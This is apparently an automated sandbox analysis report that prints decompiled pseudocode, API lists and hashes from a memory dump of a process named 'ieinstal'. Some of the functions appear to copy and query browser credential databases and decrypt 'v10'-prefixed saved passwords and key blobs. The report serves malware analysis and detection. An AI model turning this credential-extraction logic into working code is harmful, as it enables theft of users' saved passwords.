                                                                                                                            			E0041276D(void* __ecx, void* __eflags, intOrPtr _a12, char _a24, struct HWND__* _a28, struct HWND__* _a32, intOrPtr _a36, struct tagMSG _a40, struct HWND__* _a44, char _a68, char _a72, char _a76, struct HWND__* _a588, struct HACCEL__* _a612, intOrPtr _a656, intOrPtr _a1764, char* _a1772, struct HWND__* _a1788) {
				char _v4;
				char _v8;
				void* __edi;
				void* __esi;
				void* _t38;
				struct HWND__* _t49;
				struct HWND__* _t51;
				void* _t56;
				struct HWND__* _t65;
				struct HWND__* _t68;
				int _t70;
				struct HWND__* _t71;
				struct HWND__* _t73;
				int _t79;
				int _t80;
				struct HWND__* _t81;
				struct HWND__* _t101;

				_t86 = __ecx;
				0x44db70();
				_t38 = E004044A4(__ecx);
				if(_t38 != 0) {
					E00414B81();
					SetErrorMode(0x8001); // executed
					 *0x45acb4 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0041493C, 0); // executed
					E0040A889( &_v4);
					_push( &_a76);
					_a36 = 0x20;
					_a28 = 0;
					_a40.hwnd = 0;
					_a32 = 0;
					_a44 = 0;
					E00412465();
					_a1772 =  &_v8;
					E0040AC21(_t86, __eflags,  &_v8, _a12);
					_t49 = E0040ADA2(_a1764, "/savelangfile");
					__eflags = _t49;
					if(_t49 < 0) {
						E0040DB69(); // executed
						_t51 = E0040ADA2(_a1772, "/deleteregkey");
						__eflags = _t51;
						if(_t51 < 0) {
							__eflags =  *((intOrPtr*)(_a1772 + 0x30)) - 1;
							if(__eflags <= 0) {
								L7:
								 *0x44e464(0);
								E004123E2( &_a68);
								__eflags = _a656 - 3;
								if(_a656 != 3) {
									_push(5);
								} else {
									_push(3);
								}
								ShowWindow(_a588, ??);
								UpdateWindow(_a588);
								_a612 = LoadAcceleratorsW(GetModuleHandleW(0), 0x67);
								_t65 = GetMessageW( &_a40, 0, 0, 0);
								__eflags = _t65;
								if(_t65 != 0) {
									do {
										_t68 = TranslateAcceleratorW(_a588, _a612,  &_a40);
										__eflags = _t68;
										if(_t68 == 0) {
											_t71 =  *0x45d33c;
											__eflags = _t71;
											_t101 = _a1788;
											if(_t71 == 0) {
												L15:
												_t73 = IsDialogMessageW(_a588,  &_a40);
												__eflags = _t73;
												if(_t73 == 0) {
													__eflags = _t101;
													if(_t101 == 0) {
														L18:
														TranslateMessage( &_a40);
														DispatchMessageW( &_a40);
													} else {
														_t79 = IsDialogMessageW(_t101,  &_a40);
														__eflags = _t79;
														if(_t79 == 0) {
															goto L18;
														}
													}
												}
											} else {
												_t80 = IsDialogMessageW(_t71,  &_a40);
												__eflags = _t80;
												if(_t80 == 0) {
													goto L15;
												}
											}
										}
										_t70 = GetMessageW( &_a40, 0, 0, 0);
										__eflags = _t70;
									} while (_t70 != 0);
								}
								 *0x44e45c();
							} else {
								_t81 = E0041268E( &_a72, __eflags); // executed
								__eflags = _t81;
								if(_t81 == 0) {
									goto L7;
								}
							}
						}
					} else {
						 *0x45d6f4 = 0x45a50c;
						E0040DD07();
					}
					E004125B6( &_a72);
					E0040B1AB( &_v8);
					E0040B633( &_a24);
					E0040B1AB( &_v8);
					_t56 = 0;
					__eflags = 0;
				} else {
					_t56 = _t38 + 1;
				}
				return _t56;
			}




















                                                                                                                            0x0041276d
                                                                                                                            0x00412778
                                                                                                                            0x00412780
                                                                                                                            0x00412787
                                                                                                                            0x0041278f
                                                                                                                            0x00412799
                                                                                                                            0x004127a8
                                                                                                                            0x004127b9
                                                                                                                            0x004127c3
                                                                                                                            0x004127cc
                                                                                                                            0x004127cd
                                                                                                                            0x004127d5
                                                                                                                            0x004127d9
                                                                                                                            0x004127dd
                                                                                                                            0x004127e1
                                                                                                                            0x004127e5
                                                                                                                            0x004127f2
                                                                                                                            0x004127f9
                                                                                                                            0x0041280a
                                                                                                                            0x0041280f
                                                                                                                            0x00412811
                                                                                                                            0x00412827
                                                                                                                            0x00412838
                                                                                                                            0x0041283d
                                                                                                                            0x0041283f
                                                                                                                            0x0041284c
                                                                                                                            0x00412850
                                                                                                                            0x00412863
                                                                                                                            0x00412864
                                                                                                                            0x0041286e
                                                                                                                            0x00412873
                                                                                                                            0x0041287b
                                                                                                                            0x00412881
                                                                                                                            0x0041287d
                                                                                                                            0x0041287d
                                                                                                                            0x0041287d
                                                                                                                            0x0041288a
                                                                                                                            0x00412897
                                                                                                                            0x004128af
                                                                                                                            0x004128bc
                                                                                                                            0x004128c2
                                                                                                                            0x004128c4
                                                                                                                            0x004128d0
                                                                                                                            0x004128e3
                                                                                                                            0x004128e9
                                                                                                                            0x004128eb
                                                                                                                            0x004128ed
                                                                                                                            0x004128f2
                                                                                                                            0x004128f4
                                                                                                                            0x004128fb
                                                                                                                            0x00412909
                                                                                                                            0x00412915
                                                                                                                            0x00412917
                                                                                                                            0x00412919
                                                                                                                            0x0041291b
                                                                                                                            0x0041291d
                                                                                                                            0x0041292b
                                                                                                                            0x00412930
                                                                                                                            0x0041293b
                                                                                                                            0x0041291f
                                                                                                                            0x00412925
                                                                                                                            0x00412927
                                                                                                                            0x00412929
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00412929
                                                                                                                            0x0041291d
                                                                                                                            0x004128fd
                                                                                                                            0x00412903
                                                                                                                            0x00412905
                                                                                                                            0x00412907
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00412907
                                                                                                                            0x004128fb
                                                                                                                            0x00412949
                                                                                                                            0x0041294f
                                                                                                                            0x0041294f
                                                                                                                            0x004128d0
                                                                                                                            0x00412957
                                                                                                                            0x00412852
                                                                                                                            0x00412856
                                                                                                                            0x0041285b
                                                                                                                            0x0041285d
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041285d
                                                                                                                            0x00412850
                                                                                                                            0x00412813
                                                                                                                            0x00412813
                                                                                                                            0x0041281d
                                                                                                                            0x0041281d
                                                                                                                            0x00412961
                                                                                                                            0x0041296a
                                                                                                                            0x00412973
                                                                                                                            0x0041297c
                                                                                                                            0x00412981
                                                                                                                            0x00412981
                                                                                                                            0x00412789
                                                                                                                            0x00412789
                                                                                                                            0x00412789
                                                                                                                            0x00412989

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                              • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                              • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                              • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                            • SetErrorMode.KERNELBASE(00008001), ref: 00412799
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                                                                                                                            • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                                                            • String ID: $/deleteregkey$/savelangfile
                                                                                                                            • API String ID: 2744995895-28296030
                                                                                                                            • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                            • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                                                            • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                            • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 60%
                                                                                                                            			E0040B6EF(void* __edx, void* __eflags, intOrPtr* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				int _v12;
				int _v16;
				int _v20;
				void* _v24;
				int _v28;
				char _v32;
				intOrPtr _v36;
				int _v40;
				intOrPtr _v44;
				int _v48;
				int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v91;
				char _v92;
				void _v123;
				char _v124;
				void _v387;
				void _v388;
				void* _v516;
				void _v1042;
				short _v1044;
				void _v3090;
				char _v3092;
				void _v4123;
				int _v4124;
				void _v6170;
				int _v6172;
				char _v6700;
				char _v6708;
				char _v7220;
				char _v7732;
				char _v8244;
				char _v8756;
				char _v10804;
				void _v12852;
				void* __ebx;
				void* __edi;
				void* __esi;
				wchar_t* _t119;
				void* _t127;
				void* _t132;
				void* _t147;
				int _t177;
				int _t210;
				void* _t218;
				int _t223;
				int _t226;
				intOrPtr _t228;
				int _t231;
				void* _t234;
				void* _t236;
				signed int _t254;
				void* _t264;
				void* _t268;
				int _t278;
				void* _t284;
				WCHAR* _t285;
				wchar_t* _t287;
				WCHAR* _t288;
				char* _t293;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t298;
				void* _t299;
				void* _t301;
				void* _t302;

				_t265 = __edx;
				0x44db70();
				_t223 = 0;
				 *((intOrPtr*)(_a4 + 0x24)) = 0;
				_v3092 = 0;
				memset( &_v3090, 0, 0x7fe);
				_t296 = _t295 + 0xc;
				_t287 =  &_v3092;
				E00409C70(_t287, _a8);
				_t119 = wcsrchr(_t287, 0x5c);
				_t310 = _t119;
				_t234 = _t268;
				if(_t119 != 0) {
					 *_t119 = 0;
				}
				_v6172 = _t223;
				memset( &_v6170, _t223, 0x7fe);
				E00409D1F( &_v6172,  &_v3092, E0040B2CC(_t234, _t310, 0xc0), _t234);
				_t298 = _t296 + 0x18;
				_t127 = E00409B98( &_v6172);
				_t311 = _t127;
				_t236 = 0x3ff;
				if(_t127 == 0) {
					_t293 =  &_v3092;
					E00409C70(_t293, _a8);
					_pop(_t264);
					_push(0x3ff);
					_t218 = E0040B2CC(_t264, _t311, 0xc0);
					_t236 = _t264;
					_push(_t218);
					_push(_t293);
					E00409D1F( &_v6172);
					_t298 = _t298 + 0xc;
				}
				E0040BB98(_t236, _t265, _t311, _a4,  &_v6172); // executed
				_v52 = _t223;
				_v48 = _t223;
				_v44 = 0x1388;
				_v1044 = _t223;
				memset( &_v1042, _t223, 0x20e);
				_t288 = _a8;
				_t299 = _t298 + 0xc;
				_t132 = CreateFileW(_t288, 0x80000000, _t223, _t223, 3, _t223, _t223); // executed
				if(_t132 != 0xffffffff) {
					FindCloseChangeNotification(_t132); // executed
				} else {
					_t285 =  &_v1044;
					E00409A45(_t285, "chp");
					_pop(_t236);
					CopyFileW(_t288, _t285, _t223);
					_t288 = _t285;
				}
				_v4124 = _t223;
				memset( &_v4123, _t223, 0x401);
				E0040A6E6(_t288,  &_v4124);
				_v12 = _t223;
				0x444432( &_v4124,  &_v12);
				_t301 = _t299 + 0x1c;
				_t313 = _v12 - _t223;
				if(_v12 == _t223) {
					L21:
					if(_v1044 != _t223) {
						DeleteFileW( &_v1044);
					}
					return E0040B04B( &_v52);
				} else {
					_v20 = _t223;
					0x438552(_v12, E0040B273(_t236, _t313, 0xbf),  &_v20,  &_v32); // executed
					_t291 = _v20;
					_t302 = _t301 + 0x10;
					if(_v20 == _t223) {
						L20:
						0x443d90(); // executed
						goto L21;
					} else {
						_t147 = E004251C4(_t265, _t291);
						while(_t147 == 0x64) {
							memset( &_v12852, _t223, 0x1a14);
							_v8 = E00425413();
							_v16 = E00425413();
							_push(2);
							_v60 = E00425413();
							_push(3);
							_v32 = E00425413();
							_push(4);
							_v56 = E00425413();
							_push(7);
							E0040B64C( &_v6708, _t265, E004253EF(_t291, _t265), _t265);
							E0040A71B(_v16,  &_v10804, 0x3ff);
							E0040A71B(_v8,  &_v12852, 0x3ff);
							E0040A71B(_v60,  &_v8756, 0xff);
							E0040A71B(_v56,  &_v8244, 0xff);
							_t302 = _t302 + 0x44;
							E0040A734(_v32,  &_v7220);
							_push(5);
							_v8 = E004253AF();
							_push(5);
							_t177 = E004253CF();
							_t226 = _t177;
							_v16 = _t226;
							__eflags = _t226 - 0xf;
							if(_t226 > 0xf) {
								0x446658(_v8, "v10", 3);
								_t302 = _t302 + 0xc;
								__eflags = _t177;
								if(_t177 != 0) {
									_v28 = 0;
									asm("stosd");
									asm("stosd");
									_v36 = _v8;
									_v40 = _t226;
									E00404423(0x45dbd4,  &_v40, 0, 0,  &_v28);
									__eflags = _v24;
									if(_v24 != 0) {
										_t278 = _v28;
										__eflags = _t278 - 0xfe;
										if(_t278 > 0xfe) {
											_t278 = 0xfe;
										}
										_v388 = 0;
										memset( &_v387, 0, 0x100);
										memcpy( &_v388, _v24, _t278);
										_t302 = _t302 + 0x18;
										 *((char*)(_t294 + _t278 - 0x180)) = 0;
										E0040A734( &_v388,  &_v7732);
										LocalFree(_v24);
									}
								} else {
									_t228 = _a4;
									__eflags =  *(_t228 + 0x24);
									if( *(_t228 + 0x24) != 0) {
										_v124 = 0;
										_t254 = 7;
										memset( &_v123, _t177, _t254 << 2);
										asm("stosw");
										asm("stosb");
										_v92 = 0;
										memset( &_v91, 0, 0 << 2);
										_t302 = _t302 + 0x18;
										asm("stosw");
										asm("stosb");
										0x447280(7);
										0x447960(_t228 + 4, 0x100);
										_t284 = _v16 + 0xfffffff1;
										__eflags = _t284 - 0x10;
										if(_t284 > 0x10) {
											_t67 = _t284 + 0xa; // 0x445ec7
											E0040AFE8( &_v52, _t67);
											_t231 = _v52;
											_t74 = _t284 - 0x10; // 0x445ead
											0x447920(_t74, _v8 + 0xf, _t231,  &_v92);
											0x4472c0();
											_t80 = _v8 - 0x10; // 0x50fffff7
											_t210 =  &_v92;
											0x446658(_t210, _v16 + _t80, 0x10);
											_t302 = _t302 + 0x1c;
											__eflags = _t210;
											if(_t210 == 0) {
												 *(_t231 + _t284 - 0x10) = _t210;
												E0040A734(_t231,  &_v7732);
											}
											_t291 = _v20;
										}
									}
								}
							}
							E004099C6(0x104,  &_v6700, _a8);
							_t265 =  &_v12852;
							 *((intOrPtr*)( *_a4))( &_v12852);
							_t147 = E004251C4( &_v12852, _t291);
							_t223 = 0;
							__eflags = 0;
						}
						E00424F26(_t291);
						goto L20;
					}
				}
			}








































































                                                                                                                            0x0040b6ef
                                                                                                                            0x0040b6f7
                                                                                                                            0x0040b702
                                                                                                                            0x0040b70a
                                                                                                                            0x0040b715
                                                                                                                            0x0040b71c
                                                                                                                            0x0040b721
                                                                                                                            0x0040b727
                                                                                                                            0x0040b72d
                                                                                                                            0x0040b738
                                                                                                                            0x0040b73d
                                                                                                                            0x0040b740
                                                                                                                            0x0040b741
                                                                                                                            0x0040b743
                                                                                                                            0x0040b743
                                                                                                                            0x0040b74f
                                                                                                                            0x0040b756
                                                                                                                            0x0040b77e
                                                                                                                            0x0040b789
                                                                                                                            0x0040b78d
                                                                                                                            0x0040b792
                                                                                                                            0x0040b794
                                                                                                                            0x0040b795
                                                                                                                            0x0040b79a
                                                                                                                            0x0040b7a0
                                                                                                                            0x0040b7a5
                                                                                                                            0x0040b7a6
                                                                                                                            0x0040b7ad
                                                                                                                            0x0040b7b2
                                                                                                                            0x0040b7b3
                                                                                                                            0x0040b7b6
                                                                                                                            0x0040b7bd
                                                                                                                            0x0040b7c2
                                                                                                                            0x0040b7c2
                                                                                                                            0x0040b7cf
                                                                                                                            0x0040b7e1
                                                                                                                            0x0040b7e4
                                                                                                                            0x0040b7e7
                                                                                                                            0x0040b7ee
                                                                                                                            0x0040b7f5
                                                                                                                            0x0040b7fa
                                                                                                                            0x0040b7fd
                                                                                                                            0x0040b80c
                                                                                                                            0x0040b815
                                                                                                                            0x0040b838
                                                                                                                            0x0040b817
                                                                                                                            0x0040b81c
                                                                                                                            0x0040b822
                                                                                                                            0x0040b827
                                                                                                                            0x0040b82d
                                                                                                                            0x0040b833
                                                                                                                            0x0040b833
                                                                                                                            0x0040b84b
                                                                                                                            0x0040b851
                                                                                                                            0x0040b861
                                                                                                                            0x0040b871
                                                                                                                            0x0040b874
                                                                                                                            0x0040b879
                                                                                                                            0x0040b87c
                                                                                                                            0x0040b87f
                                                                                                                            0x0040bad5
                                                                                                                            0x0040badc
                                                                                                                            0x0040bae5
                                                                                                                            0x0040bae5
                                                                                                                            0x0040baf7
                                                                                                                            0x0040b885
                                                                                                                            0x0040b892
                                                                                                                            0x0040b89f
                                                                                                                            0x0040b8a4
                                                                                                                            0x0040b8a7
                                                                                                                            0x0040b8ac
                                                                                                                            0x0040bacd
                                                                                                                            0x0040bad0
                                                                                                                            0x00000000
                                                                                                                            0x0040b8b2
                                                                                                                            0x0040b8b3
                                                                                                                            0x0040babc
                                                                                                                            0x0040b8ca
                                                                                                                            0x0040b8dc
                                                                                                                            0x0040b8e8
                                                                                                                            0x0040b8eb
                                                                                                                            0x0040b8f5
                                                                                                                            0x0040b8f8
                                                                                                                            0x0040b902
                                                                                                                            0x0040b905
                                                                                                                            0x0040b90f
                                                                                                                            0x0040b912
                                                                                                                            0x0040b924
                                                                                                                            0x0040b939
                                                                                                                            0x0040b94c
                                                                                                                            0x0040b964
                                                                                                                            0x0040b977
                                                                                                                            0x0040b97c
                                                                                                                            0x0040b989
                                                                                                                            0x0040b990
                                                                                                                            0x0040b99a
                                                                                                                            0x0040b99d
                                                                                                                            0x0040b9a2
                                                                                                                            0x0040b9a7
                                                                                                                            0x0040b9a9
                                                                                                                            0x0040b9ac
                                                                                                                            0x0040b9af
                                                                                                                            0x0040b9bf
                                                                                                                            0x0040b9c4
                                                                                                                            0x0040b9c7
                                                                                                                            0x0040b9c9
                                                                                                                            0x0040bafe
                                                                                                                            0x0040bb04
                                                                                                                            0x0040bb08
                                                                                                                            0x0040bb0c
                                                                                                                            0x0040bb1e
                                                                                                                            0x0040bb21
                                                                                                                            0x0040bb26
                                                                                                                            0x0040bb2a
                                                                                                                            0x0040bb30
                                                                                                                            0x0040bb38
                                                                                                                            0x0040bb3a
                                                                                                                            0x0040bb3c
                                                                                                                            0x0040bb3c
                                                                                                                            0x0040bb4d
                                                                                                                            0x0040bb53
                                                                                                                            0x0040bb66
                                                                                                                            0x0040bb6b
                                                                                                                            0x0040bb7c
                                                                                                                            0x0040bb83
                                                                                                                            0x0040bb8d
                                                                                                                            0x0040bb8d
                                                                                                                            0x0040b9cf
                                                                                                                            0x0040b9cf
                                                                                                                            0x0040b9d4
                                                                                                                            0x0040b9d7
                                                                                                                            0x0040b9df
                                                                                                                            0x0040b9e2
                                                                                                                            0x0040b9e6
                                                                                                                            0x0040b9e8
                                                                                                                            0x0040b9ea
                                                                                                                            0x0040b9ed
                                                                                                                            0x0040b9f6
                                                                                                                            0x0040b9f6
                                                                                                                            0x0040b9f8
                                                                                                                            0x0040b9fa
                                                                                                                            0x0040ba01
                                                                                                                            0x0040ba15
                                                                                                                            0x0040ba1d
                                                                                                                            0x0040ba20
                                                                                                                            0x0040ba25
                                                                                                                            0x0040ba27
                                                                                                                            0x0040ba2e
                                                                                                                            0x0040ba33
                                                                                                                            0x0040ba45
                                                                                                                            0x0040ba4f
                                                                                                                            0x0040ba5a
                                                                                                                            0x0040ba65
                                                                                                                            0x0040ba6c
                                                                                                                            0x0040ba70
                                                                                                                            0x0040ba75
                                                                                                                            0x0040ba78
                                                                                                                            0x0040ba7a
                                                                                                                            0x0040ba7c
                                                                                                                            0x0040ba88
                                                                                                                            0x0040ba8e
                                                                                                                            0x0040ba8f
                                                                                                                            0x0040ba8f
                                                                                                                            0x0040ba25
                                                                                                                            0x0040b9d7
                                                                                                                            0x0040b9c9
                                                                                                                            0x0040baa0
                                                                                                                            0x0040baab
                                                                                                                            0x0040bab2
                                                                                                                            0x0040bab5
                                                                                                                            0x0040baba
                                                                                                                            0x0040baba
                                                                                                                            0x0040baba
                                                                                                                            0x0040bac8
                                                                                                                            0x00000000
                                                                                                                            0x0040bac8
                                                                                                                            0x0040b8ac

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040B71C
                                                                                                                              • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                                                              • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                                                            • wcsrchr.MSVCRT ref: 0040B738
                                                                                                                            • memset.MSVCRT ref: 0040B756
                                                                                                                            • memset.MSVCRT ref: 0040B7F5
                                                                                                                            • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                            • CopyFileW.KERNEL32(00445FAE,?,00000000,?,?), ref: 0040B82D
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000,?,?), ref: 0040B838
                                                                                                                            • memset.MSVCRT ref: 0040B851
                                                                                                                            • memset.MSVCRT ref: 0040B8CA
                                                                                                                            • memcmp.MSVCRT ref: 0040B9BF
                                                                                                                              • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                                                              • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                                                            • memset.MSVCRT ref: 0040BB53
                                                                                                                            • memcpy.MSVCRT ref: 0040BB66
                                                                                                                            • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$File$Freewcsrchr$AddressChangeCloseCopyCreateDeleteFindLibraryLocalNotificationProcmemcmpmemcpywcscpy
                                                                                                                            • String ID: chp$v10
                                                                                                                            • API String ID: 170802307-2783969131
                                                                                                                            • Opcode ID: 8dc6b8fe780278cd99cc613ec7166550d0a6417af5ac3a690e601795cd80acd7
                                                                                                                            • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                                                            • Opcode Fuzzy Hash: 8dc6b8fe780278cd99cc613ec7166550d0a6417af5ac3a690e601795cd80acd7
                                                                                                                            • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 504 4091b8-40921b memset call 40a6e6 call 444432 509 409520-409526 504->509 510 409221-409248 call 40b273 call 438552 504->510 515 409383-4093ab call 40b273 call 438552 510->515 516 40924e-409258 call 4251c4 510->516 528 4093b1 515->528 529 4094ff-409502 call 443d90 515->529 521 40937b-40937e call 424f26 516->521 522 40925e-409291 call 4253cf * 2 call 4253af * 2 516->522 521->515 522->521 552 409297-409299 522->552 532 4093d3-4093dd call 4251c4 528->532 535 409507-40950b 529->535 539 4093b3-4093cc call 4253cf * 2 532->539 540 4093df 532->540 535->509 538 40950d-409511 535->538 538->509 542 409513-40951d call 408f2f 538->542 539->532 555 4093ce-4093d1 539->555 543 4094f7-4094fa call 424f26 540->543 542->509 543->529 552->521 554 40929f-4092a3 552->554 554->521 556 4092a9-4092ba 554->556 555->532 557 4093e4-4093fb call 4253af * 2 555->557 558 4092bc 556->558 559 4092be-4092e3 memcpy memcmp 556->559 557->543 569 409401-409403 557->569 558->559 560 409333-409345 memcmp 559->560 561 4092e5-4092ec 559->561 560->521 564 409347-40935f memcpy 560->564 561->521 563 4092f2-409331 memcpy * 2 561->563 566 409363-409378 memcpy 563->566 564->566 566->521 569->543 570 409409-40941b memcmp 569->570 570->543 571 409421-409433 memcmp 570->571 572 4094a4-4094b6 memcmp 571->572 573 409435-40943c 571->573 572->543 575 4094b8-4094ed memcpy * 2 572->575 573->543 574 409442-4094a2 memcpy * 3 573->574 576 4094f4 574->576 575->576 576->543
                                                                                                                            C-Code - Quality: 61%
                                                                                                                            			E004091B8(void* __ecx, void* __edx, void* __esi, void* __eflags, void* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _v12;
				int _v16;
				int _v20;
				int _v24;
				void* _v28;
				int _v32;
				void _v1067;
				char _v1068;
				void* __edi;
				void* _t98;
				void* _t101;
				void* _t105;
				void* _t109;
				void* _t111;
				void* _t113;
				int _t115;
				int _t123;
				void* _t135;
				int* _t145;
				void* _t147;
				int _t148;
				void* _t153;
				int _t156;
				int* _t167;
				void* _t168;
				int _t169;
				signed int _t170;
				void* _t177;
				int _t179;
				void* _t181;
				void* _t184;
				void* _t185;
				void* _t186;
				void* _t188;
				void* _t189;

				_t185 = __esi;
				_t177 = __edx;
				_t168 = __ecx;
				_v32 = 0;
				_v20 = 0;
				_v16 = 0;
				_v1068 = 0;
				memset( &_v1067, 0, 0x403);
				 *((intOrPtr*)(__esi + 0x25c)) = 1;
				E0040A6E6(_a4,  &_v1068);
				_a4 = 0;
				0x444432( &_v1068,  &_a4);
				_t188 = _t186 + 0x1c;
				_t200 = _a4;
				if(_a4 == 0) {
					L34:
					return _v32;
				}
				_push( &_v24);
				_push( &_v8);
				_v8 = 0;
				_t98 = E0040B273(_t168, _t200, 0xa3);
				_pop(_t169);
				0x438552(_a4, _t98); // executed
				_t179 = _v8;
				_t189 = _t188 + 0x10;
				if(_t179 == 0) {
					L15:
					_v8 = _v8 & 0x00000000;
					_push( &_v24);
					_push( &_v8);
					_t101 = E0040B273(_t169, _t208, 0xa4);
					_pop(_t170);
					0x438552(_a4, _t101);
					_t180 = _v8;
					if(_v8 == 0) {
						L31:
						0x443d90(); // executed
						if(_v20 != 0) {
							_t212 = _v16;
							if(_v16 != 0) {
								_v32 = E00408F2F(_t185, _t170, _t212, _a8);
							}
						}
						goto L34;
					}
					while(1) {
						_t105 = E004251C4(_t177, _t180);
						_pop(_t170);
						if(_t105 != 0x64) {
							break;
						}
						_v12 = E004253CF();
						_t109 = E004253CF();
						__eflags = _v12;
						if(_v12 <= 0) {
							continue;
						}
						__eflags = _t109 - 0x10;
						if(_t109 == 0x10) {
							_t111 = E004253AF();
							_t170 = _v8;
							_t181 = _t111;
							_t113 = E004253AF();
							__eflags = _t181;
							if(_t181 == 0) {
								L30:
								E00424F26(_v8);
								goto L31;
							}
							__eflags = _t113;
							if(_t113 == 0) {
								goto L30;
							}
							0x446658(_t113, 0x4599b8, 0x10);
							__eflags = _t113;
							if(_t113 != 0) {
								goto L30;
							}
							0x446658(_t181, 0x45a500, 6);
							__eflags = _t113;
							if(_t113 != 0) {
								0x446658(_t181, 0x45a4f8, 6);
								__eflags = _t113;
								if(_t113 != 0) {
									goto L30;
								}
								_t115 =  *(_t181 + 0x14) & 0x000000ff;
								_t167 = _t185 + 0x260;
								 *_t167 = _t115;
								_t76 = _t181 + 0x15; // 0x15
								memcpy(_t185 + 0x264, _t76, _t115);
								memcpy(_t185 + 0x364,  *_t167 + _t181 + 0x1a, 0x20);
								_v16 = 1;
								L29:
								goto L30;
							}
							__eflags = _v12 - 0x80;
							if(_v12 <= 0x80) {
								goto L30;
							}
							 *((intOrPtr*)(_t185 + 0x25c)) = 2;
							_t123 =  *(_t181 + 0x22) & 0x000000ff;
							 *(_t185 + 0x260) = _t123;
							_t63 = _t181 + 0x23; // 0x23
							memcpy(_t185 + 0x264, _t63, _t123);
							memcpy(_t185 + 0x3c4,  *(_t185 + 0x260) + _t181 + 0x42, 0x10);
							memcpy(_t185 + 0x364,  *(_t185 + 0x260) + _t181 + 0x54, 0x20);
							_v16 = 1;
							goto L29;
						}
					}
					goto L30;
				}
				_t135 = E004251C4(_t177, _t179);
				_pop(_t169);
				if(_t135 != 0x64) {
					L14:
					E00424F26(_v8);
					goto L15;
				}
				_v24 = E004253CF();
				_v12 = E004253CF();
				_v28 = E004253AF();
				_t169 = _t179;
				_t184 = E004253AF();
				if(_v28 == 0 || _t184 == 0 || _v12 <= 0x20) {
					goto L14;
				} else {
					_t169 = _v24;
					_t145 = __esi + 0x240;
					 *_t145 = _t169;
					if(_t169 > 0x100) {
						 *_t145 = _t169;
					}
					_t147 = memcpy(_t185 + 0x13f, _v28, _t169);
					0x446658(_t184, 0x45a4f0, 6);
					_t189 = _t189 + 0x18;
					if(_t147 != 0) {
						0x446658(_t184, 0x45a4e8, 6);
						_t189 = _t189 + 0xc;
						__eflags = _t147;
						if(_t147 != 0) {
							goto L14;
						}
						_t148 =  *(_t184 + 0x14) & 0x000000ff;
						 *(_t185 + 0x10) = _t148;
						_t42 = _t184 + 0x15; // 0x15
						memcpy(_t185 + 0x14, _t42, _t148);
						_t153 =  *(_t185 + 0x10) + _t184 + 0x1a;
						L13:
						memcpy(_t185 + 0x11f, _t153, 0x10);
						_v20 = 1;
						_t189 = _t189 + 0x18;
						goto L14;
					}
					_t208 = _v12 - 0x80;
					if(_v12 <= 0x80) {
						goto L14;
					}
